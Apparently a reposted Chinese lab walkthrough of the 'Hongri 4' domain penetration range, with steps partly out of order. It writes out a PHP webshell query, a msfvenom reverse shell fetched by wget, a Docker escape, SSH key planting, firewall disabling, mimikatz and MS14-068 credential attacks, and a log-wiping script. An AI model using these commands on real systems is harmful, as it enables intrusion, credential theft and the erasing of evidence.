靶场实操|域渗透之红日靶场4
2023-6-9 08:52:23 Author: 亿人安全(查看原文) 阅读量:20 收藏


  • 概念图

  • 直接开干

  • 先进入ubuntu启动web

  • 先开启3个环境

  • 命令:

    • cd /home/ubuntu/Desktop/vulhub/struts2/s2-045

    • sudo docker-compose up -d

    • cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/

    • sudo docker-compose up -d

    • cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/

    • sudo docker-compose up -d

  • 开始

  • 一、信息收集

    • nmap -sS -T4 192.168.1.0/24

    • 发现目标:192.168.1.10 除了22端口 2001-2003全是web服务

    • nmap扫描发现目标主机

  • 二、web入侵

    • 访问2003端口 是一个phpmyadmin

    • 尝试日志文件Getshell

    • 1.利用SQL查询查询 select '<?php eval($_POST['cmd']);?>',将查询后的网页cookie

    • phpmyadmin:f29ab8338e5bebece0edf526c14416c4记录

    • 2.包含Php-session文件getshell

    • http://192.168.1.10:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

    • 尝试将general log改为yes,提醒我们没有权限,好吧,日志文件getshell这条路是行不通了

    • 利用百度搜索发现,phpmyadmin4.8.1后台存在漏洞CVE-2018-12613,利用Poc验证本服务器是否存在

    • 成功包含,存在此漏洞

    • 漏洞利用

    • 打开2002端口  是一个tomcat页面 版本是8.5.19

    • 尝试put方法拿shell

    • 冰蝎连接

    • 成功getshell

    • 先打开2001端口的web

    • 是一个上传界面  

    • 我们先随便上传一个文件

    • 上传之后发现后缀是.action的

    • 推测是struts2框架

    • 然后使用漏洞工具探测一波

    • 发现存在漏洞 且可执行命令  用msf上线

    • 先在kali上生成msf木马 然后开一个http服务 将马放在服务上 供目标远程下载 因为目标出网

    • 然后目标远程下载 执行下载命令

    • 然后msf开启监听

    • 然后在目标上执行shell.elf  先给权限

    • 然后执行

    • 然后kali 收到会话

    • 发现是172开头的

    • 怀疑是docker 先判断一波

    • 用命令 cat  /proc/1/cgroup

    • 判断docker方法:

    • 确定是在docker中 所以进行docker逃逸

    • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.96 LPORT=6666 -f elf > shell.elf

    • python -m SimpleHTTPServer 80

    • 命令:

    • wget http://192.168.1.11/shell.elf

    • 命令:

    • use exploit/multi/handler

    • set lhost 0.0.0.0

    • set lport 6666

    • set payload linux/x86/meterpreter/reverse_tcp

    • run

    • 命令:

    • 1、使用下面命令,查看是否存在 dockerrnv 文件  ls -alh /.dockerenv

    • 2、查看系统进程的cgroup信息  cat /proc/1/cgroup

    • 1、Struts2框架漏洞Getshell

    • 2、Tomcat任意文件上传(CVE-2017-12615)Getshell

    • 3、PhPMyadmin CVE-2018-12613 Getshell

  • 三、Docker逃逸

    • 先查看版本

    • 根据志哥的wp  发现有一个新的exp可以提权  CVE-2021-3493

    • EXP下载地址:https://github.com/briskets/CVE-2021-3493

    • 影响版本

    • 编译并上传到服务器exp

    • Ubuntu 20.10

    • Ubuntu 20.04 LTS

    • Ubuntu 18.04 LTS

    • Ubuntu 16.04 LTS

    • Ubuntu 14.04 ESM

    • gcc exploit -o exp

    • python3 -m http.server 80

    • chmod 777 exp

    • ./exp 失败...推测环境不一致导致编译后无法在目标主机环境运行,上传exploit.c,尝试在服务器上编译使用    

    • http://192.168.1.11:80/exploit.c

    • gcc exploit.c -o exp

    • ./exp  

    • 然后重新弹一个root的shell回去

    • 先在kali中生成密钥  创建一个key文件

    • 然后将密钥复制

    • 然后写入目标的.ssh目录下

    • 命令:

    • 然后用kali连接ubuntu

    • cp -avx /shell/home/ubuntu/.ssh/id_rsa.pub /shell/home/ubuntu/.ssh/authorized_keys

    • echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW0uc8noTdYQIrZo5ODN0AyB4tmZlTF8mwxeVxccWCxrUkVwjhcfcmGq3czbgncMUoYh5vB1jWZSnakVfc4pAx3Yg/G4HVKu1q0JkCqrz8c1VJOpQAWoVjw8gCXpBk1rizX5nS4lkHAfZVJ0gb4grTGK31F+vbhN3OLIqteyUN7kJzWvvhD/iUiEDqVFKzllXIZGTr+kZioZfSxCJEZuI6ARbRDnKM/YHcdlfy0k64bYwWquCV8jxZOC5CYGr9Q6gPEO17a1szkNyTOGWNYk/oDQ2UpOT/PjObE3xk8eQrqnZFHQL23vTou3XOXoSp0C3DEdkr8aYE5bGUoet5n82QzZZixxCQIpuRvtvLHCQlBMiJZEB97gtivFZJXbFxV1QJpbrQDO/Q+HZTGH4rZnFMADDjbFhtWlb/uQqkZr38/hX7JxI8oewZcTKrF7tgc3jE/R33c/8OqNoYdv7LKqP//m7CEVUFE99GH5N+I3H8z6bQnARRhQ/1jKYLmK4+jXk= [email protected]' > /hack/home/ubuntu/.ssh/authorized_keys

    • cat /hack/home/ubuntu/.ssh/authorized_keys

    • 这里要注意连接的时候需要根据生成key时候的名字 hack

    • 利用fdisk -l 查看挂载盘

    • sda1盘疑似挂载于宿主机上,利用mount挂载于我们创建的目录之上

    • mkdir  shell

    • mount /dev/sda1  shell      

    • 挂载成功,我们此时可以查看、修改宿主机的某些文件了。

    • 写入ssh密钥进行docker逃逸

    • ubuntu提权

  • 四、内网横向

    • 先生成一个正向的shell 上传到pc win7上  然后copy到dc上

    • 关闭dc防火墙

    • sc \WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

    • sc \WIN-ENS2VR5TR3N start unablefirewall

    • 然后将bind.exe传到dc

    • msf创建监听

    • 创建服务执行msf马:

    • 不知道是我的操作问题 还是环境问题 我一直出毛病

    • 最后始终连不上      

    • 后面的操作 也没多难 执行拿下dc 抓hash 抓密码等 就不继续操作了

    • sc \WIN-ENS2VR5TR3N.demo.com create shell binpath= "c:\bind.exe" 创建执行正向shell的进程sc \WIN-ENS2VR5TR3N.demo.com start shell 启动可以执行正向shell的服务      

    • use auxiliary/scanner/smb/smb_ms17_010

    • set payload windows/x64/meterpreter/bind_tcp              

    • set rhosts 192.168.183.130-131

    • run

    • 看样子两台都可能有  先打131

    • 拿下131

    • 开始域内信息收集:

    • 但执行域内信息收集的时候出现问题  一直报错

    • 通过问志哥发现  说是当前用户不在域内 换一个用户收集

    • 通过systeminfo发现当前是pc机  还有一个机器应该就是域控

    • 先进行进程迁移到一个域用户

    • 迁移成功

    • 现在就能成功进行相关的域信息收集

    • 找到域控机器

    • ip 192.168.183.130

    • DC机器名:WIN-ENS2VR5TR3N.demo.com      

    • 域管用户 administrator                      

    • 域用户sid

    • 切换回高权限  然后用kiwi抓取密码

    • 抓取到了域用户的明文密码和hash 但是没有抓到域管的

    • 使用smb连接了 但是无法执行命令

    • 所以利用ms14-068域内漫游

    • 切换到域用户然后上传exe

    • 然后执行 利用ms14-068生成票据:               ms14-068.exe -u [email protected] -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123          

    •    然后利用mimiaktz将凭据导入内存

    • 这里需要先清除目标的凭据

    • mimikatz # kerberos::ptc [email protected]ache              

    • 然后dir \WIN-ENS2VR5TR3N.demo.com\c$

    • 凭据生效

    • 这里图贴错了 不影响

    • demo\douser S-1-5-21-979886063-1111900045-1414766810-1107

    • douser:Dotest123ntml:bc23b0b4d5bf5ff42bc61fb62e13886e sha1:c48096437367aad00ac2dc70552051cd84912a55      

    • mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

    • mimikatz # kerberos::list          //查看当前机器凭证

    • mimikatz # kerberos::ptc <生成的票据文件>   //将票据注入到内存中

    • use auxiliary/scanner/portscan/tcp

    • set ports 135,445,80,443,1433,3306,53,8080,8888,7001 # 将常用端口添加并扫描set rhosts 192.168.183.130-131 #探测两台服务器          

    • 130开了53 135 445

    • 131开了135 445

    • 因为都开 了135 445  用永恒之蓝扫一波

    • use auxiliary/scanner/smb/smb_version

    • set rhosts 192.168.183.0/24

    • set timestampoutput 5 设置最大超时时间为5s

    • 发现两个存活主机 以及域名demo

    • use auxiliary/server/socks_proxy    

    • set srvhost 192.168.1.11

    • set version 4a socks版本  

    • run    

    • 发现路由

    • 添加路由 命令:run autoroute -s 192.168.183.0/24

    • 开启socks代理

    • 信息收集 探测存存活主机

    • 探测主机存活端口

    • 永恒之蓝

    • 漫游DC

  • 五、痕迹清理

    • 1.查看事件日志run event_manager -i

    • 2.删除事件日志run event_manager -c

    • 3.clearv命令清除目标系统的事件日志。

    • 清除命令历史记录

    • histroy -r          #删除当前会话历史记录

    • history -c          #删除内存中的所有命令历史

    • rm .bash_history   #删除历史文件中的内容

    • HISTZISE=0          #通过设置历史命令条数来清除所有历史记录

    • 在隐蔽的位置执行命令

    • 使用vim打开文件执行命令

    • :set history=0

    • :!command

    • linux日志文件

    • /var/run/utmp 记录现在登入的用户

    • /var/log/wtmp 记录用户所有的登入和登出

    • /var/log/lastlog 记录每一个用户最后登入时间

    • /var/log/btmp 记录错误的登入尝试

    • /var/log/auth.log 需要身份确认的操作

    • /var/log/secure 记录安全相关的日志信息

    • /var/log/maillog 记录邮件相关的日志信息

    • /var/log/message 记录系统启动后的信息和错误日志

    • /var/log/cron 记录定时任务相关的日志信息

    • /var/log/spooler 记录UUCP和news设备相关的日志信息

    • /var/log/boot.log 记录守护进程启动和停止相关的日志消息

    • 完全删除日志文件:

    • cat /dev/null > filename

    • : > filename

    • > filename

    • echo "" > filename

    • echo > filename

    • 针对性删除日志文件:

    • 删除当天日志

    • sed  -i '/当天日期/'d  filename

    • 一键清除脚本:

    • #!/usr/bin/bash

    • echo > /var/log/syslog

    • echo > /var/log/messages

    • echo > /var/log/httpd/access_log

    • echo > /var/log/httpd/error_log

    • echo > /var/log/xferlog

    • echo > /var/log/secure

    • echo > /var/log/auth.log

    • echo > /var/log/user.log

    • echo > /var/log/wtmp

    • echo > /var/log/lastlog

    • echo > /var/log/btmp

    • echo > /var/run/utmp

    • rm ~/./bash_history

    • history -c

    • Linux

    • Windows


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0MTIzNTgzMQ==&mid=2247506896&idx=1&sn=8d9ebb27c5add2773373ff6d5becde6e&chksm=c2d710c8f5a099dea68741546b525b1c61f83fa7346edd3783291c30313ba000d028cfb64447#rd
如有侵权请联系:admin#unsafe.sh